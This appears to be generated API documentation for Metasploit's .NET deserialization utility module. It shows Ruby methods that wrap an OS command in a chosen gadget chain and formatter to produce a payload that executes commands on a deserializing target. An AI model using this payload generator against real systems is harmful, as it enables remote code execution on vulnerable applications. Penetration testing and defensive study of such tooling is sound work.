Module: Msf::Util::DotNetDeserialization

Defined in:
lib/msf/util/dot_net_deserialization.rb,
lib/msf/util/dot_net_deserialization/enums.rb,
lib/msf/util/dot_net_deserialization/types.rb,
lib/msf/util/dot_net_deserialization/assemblies.rb,
lib/msf/util/dot_net_deserialization/formatters.rb,
lib/msf/util/dot_net_deserialization/gadget_chains.rb,
lib/msf/util/dot_net_deserialization/types/general.rb,
lib/msf/util/dot_net_deserialization/types/primitives.rb,
lib/msf/util/dot_net_deserialization/types/record_values.rb,
lib/msf/util/dot_net_deserialization/formatters/los_formatter.rb,
lib/msf/util/dot_net_deserialization/formatters/soap_formatter.rb,
lib/msf/util/dot_net_deserialization/formatters/binary_formatter.rb,
lib/msf/util/dot_net_deserialization/gadget_chains/windows_identity.rb,
lib/msf/util/dot_net_deserialization/gadget_chains/type_confuse_delegate.rb,
lib/msf/util/dot_net_deserialization/gadget_chains/text_formatting_run_properties.rb

Overview

Much of this code is based on the YSoSerial.Net project see: github.com/pwntester/ysoserial.net

Defined Under Namespace

Modules: Assemblies, Enums, Formatters, GadgetChains, Types

Constant Summary collapse

DEFAULT_FORMATTER =
:BinaryFormatter
DEFAULT_GADGET_CHAIN =
:TextFormattingRunProperties

Class Method Summary collapse

Class Method Details

.encode_7bit_int(int) ⇒ Object


19
20
21
22
23
24
25
26
27
28
29
30
# File 'lib/msf/util/dot_net_deserialization.rb', line 19

def self.encode_7bit_int(int)
  # see: https://github.com/microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/mscorlib/system/io/binaryreader.cs#L582
  encoded_int = []
  while int > 0
    value = int & 0x7f
    int >>= 7
    value |= 0x80 if int > 0
    encoded_int << value
  end

  encoded_int.pack('C*')
end

.generate(cmd, gadget_chain: DEFAULT_GADGET_CHAIN, formatter: DEFAULT_FORMATTER) ⇒ String

Generates a .NET deserialization payload for the specified OS command using a selected gadget-chain and formatter combination.

Parameters:

  • cmd (String)

    The OS command to execute.

  • gadget_chain (Symbol) (defaults to: DEFAULT_GADGET_CHAIN)

    The gadget chain to use for execution. This will be application specific.

  • formatter (Symbol) (defaults to: DEFAULT_FORMATTER)

    An optional formatter to use to encapsulate the gadget chain.

Returns:

  • (String)

55
56
57
58
# File 'lib/msf/util/dot_net_deserialization.rb', line 55

def self.generate(cmd, gadget_chain: DEFAULT_GADGET_CHAIN, formatter: DEFAULT_FORMATTER)
  stream = self.generate_gadget_chain(cmd, gadget_chain: gadget_chain)
  self.generate_formatted(stream, formatter: formatter)
end

.generate_formatted(stream, formatter: DEFAULT_FORMATTER) ⇒ String

Take the specified serialized blob and encapsulate it with the specified formatter.

Parameters:

Returns:

  • (String)

69
70
71
72
73
74
75
76
77
78
79
80
81
82
# File 'lib/msf/util/dot_net_deserialization.rb', line 69

def self.generate_formatted(stream, formatter: DEFAULT_FORMATTER)
  case formatter
  when :BinaryFormatter
    formatted = Formatters::BinaryFormatter.generate(stream)
  when :LosFormatter
    formatted = Formatters::LosFormatter.generate(stream)
  when :SoapFormatter
    formatted = Formatters::SoapFormatter.generate(stream)
  else
    raise NotImplementedError, 'The specified formatter is not implemented'
  end

  formatted
end

.generate_gadget_chain(cmd, gadget_chain: DEFAULT_GADGET_CHAIN) ⇒ Types::SerializedStream

Generate a serialized data blob using the specified gadget chain to execute the OS command. The chosen gadget chain must be compatible with the target application.

Parameters:

  • cmd (String)

    The operating system command to execute. It will automatically be prefixed with “cmd /c” by the gadget chain.

  • gadget_chain (Symbol) (defaults to: DEFAULT_GADGET_CHAIN)

    The gadget chain to use for execution.

Returns:


92
93
94
95
96
97
98
99
100
101
102
103
104
105
# File 'lib/msf/util/dot_net_deserialization.rb', line 92

def self.generate_gadget_chain(cmd, gadget_chain: DEFAULT_GADGET_CHAIN)
  case gadget_chain
  when :TextFormattingRunProperties
    stream = GadgetChains::TextFormattingRunProperties.generate(cmd)
  when :TypeConfuseDelegate
    stream = GadgetChains::TypeConfuseDelegate.generate(cmd)
  when :WindowsIdentity
    stream = GadgetChains::WindowsIdentity.generate(cmd)
  else
    raise NotImplementedError, 'The specified gadget chain is not implemented'
  end

  stream
end

.get_ancestor(obj, ancestor_type, required: true) ⇒ Object

Raises:

  • (RuntimeError)

32
33
34
35
36
37
38
39
40
# File 'lib/msf/util/dot_net_deserialization.rb', line 32

def self.get_ancestor(obj, ancestor_type, required: true)
  while ! (obj.nil? || obj.is_a?(ancestor_type))
    obj = obj.parent
  end

  raise RuntimeError, "Failed to find ancestor #{ancestor_type.name}" if obj.nil? && required

  obj
end